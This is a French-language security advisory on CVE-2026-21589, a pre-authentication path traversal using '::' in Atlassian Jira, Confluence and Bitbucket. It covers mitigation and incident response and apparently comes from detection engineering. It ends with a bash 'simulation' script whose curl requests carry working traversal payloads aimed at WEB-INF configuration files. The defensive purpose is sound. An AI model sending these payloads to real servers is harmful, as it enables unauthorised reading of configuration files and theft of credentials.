CVE-2026-21589 : Vulnérabilité de lecture de fichier sans authentification dans Atlassian Jira et Confluence

Résumé

Une vulnérabilité critique de lecture de fichiers arbitraires avant authentification, CVE-2026-21589, affecte plusieurs produits Atlassian, y compris Jira, Confluence et Bitbucket. Les attaquants peuvent exploiter une faille de traversée de chemin impliquant le :: délimiteur pour accéder à des fichiers sensibles au sein du webroot de l’application. Une exploitation réussie peut exposer des identifiants Atlassian Crowd en texte clair, ce qui pourrait potentiellement permettre un compromis administratif du système de gestion d’identité.

Investigation

Les chercheurs ont analysé la vulnérabilité dans le atlassian-plugins-webresource JAR en comparant les versions affectées et corrigées. Ils ont découvert qu’une fonction spécifique convertit les doubles deux-points en barres obliques, rendant la traversée de chemin possible. En ciblant des plugins de ressources sélectionnés avec des barres obliques finales, les chercheurs ont pu récupérer des fichiers sensibles tels que WEB-INF/web.xml and crowd.properties.

Atténuation

Atlassian a publié des avis de sécurité et des versions corrigées pour tous les produits affectés. Les organisations devraient mettre à jour vers les versions corrigées recommandées, telles que Bitbucket 10.5.1, Confluence 10.2.19 et Jira 11.3.12. Le déploiement de règles WAF capables de détecter les motifs de traversée de chemin impliquant des doubles deux-points, des caractères codés et des demandes de ressources suspectes peut offrir une protection supplémentaire.

Réponse

Lorsque des tentatives suspectes de traversée de chemin impliquant :: sont détectées dans les URLs, les intervenants sur incident devraient immédiatement identifier et isoler l’instance Atlassian ciblée. Revoyez Atlassian Crowd pour toute création de compte non autorisée, élévation de privilège ou autre activité anormale. Auditez les requêtes visant WEB-INF ressources et tournez tous les identifiants potentiellement exposés via des fichiers de configuration comme crowd.properties.

Exécution de la Simulation

• Narration & Commandes de l’Attaque : L’attaquant effectue une reconnaissance contre une instance Atlassian suspectée. Il utilise un schéma d’exploitation connu pour CVE-2026-21589, qui exploite une technique de contournement spécifique utilisant des doubles deux-points (::) pour naviguer dans le système de fichiers via l’interface web. L’objectif est d’exfiltrer web.xml pour cartographier la structure interne de l’application et potentiellement récolter des identifiants pour un mouvement latéral ultérieur.

• Script de Test de Régression :

  #!/bin/bash
  # Script de simulation pour déclencher la règle de détection Atlassian Traversée de Chemin
  
  TARGET_URL="http://localhost"
  
  echo "[+] Démarrage de la Simulation : Atlassian Traversée de Chemin"
  
  echo "[*] Tentative de Charge Utile 1 : Traversée web.xml de Jira..."
  curl -s -I "$TARGET_URL/download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..:WEB-INF::web.xml"
  
  echo "[*] Tentative de Charge Utile 2 : Traversée web.xml de Confluence..."
  curl -s -I "$TARGET_URL/s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/..::..::..::..::..::..::..:WEB-INF::web.xml"
  
  echo "[*] Tentative de Charge Utile 3 : Traversée urlrewrite.xml sur Bitbucket..."
  curl -s -I "$TARGET_URL/s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/..::..::..::..::..:WEB-INF::urlrewrite.xml"
  
  echo "[+] Simulation Complète. Vérifiez les alertes SIEM."

• Commandes de Nettoyage :

  # Aucun changement persistant n'est apporté au système ; aucun nettoyage requis.
  echo "[+] Aucun nettoyage nécessaire. La simulation était non destructive."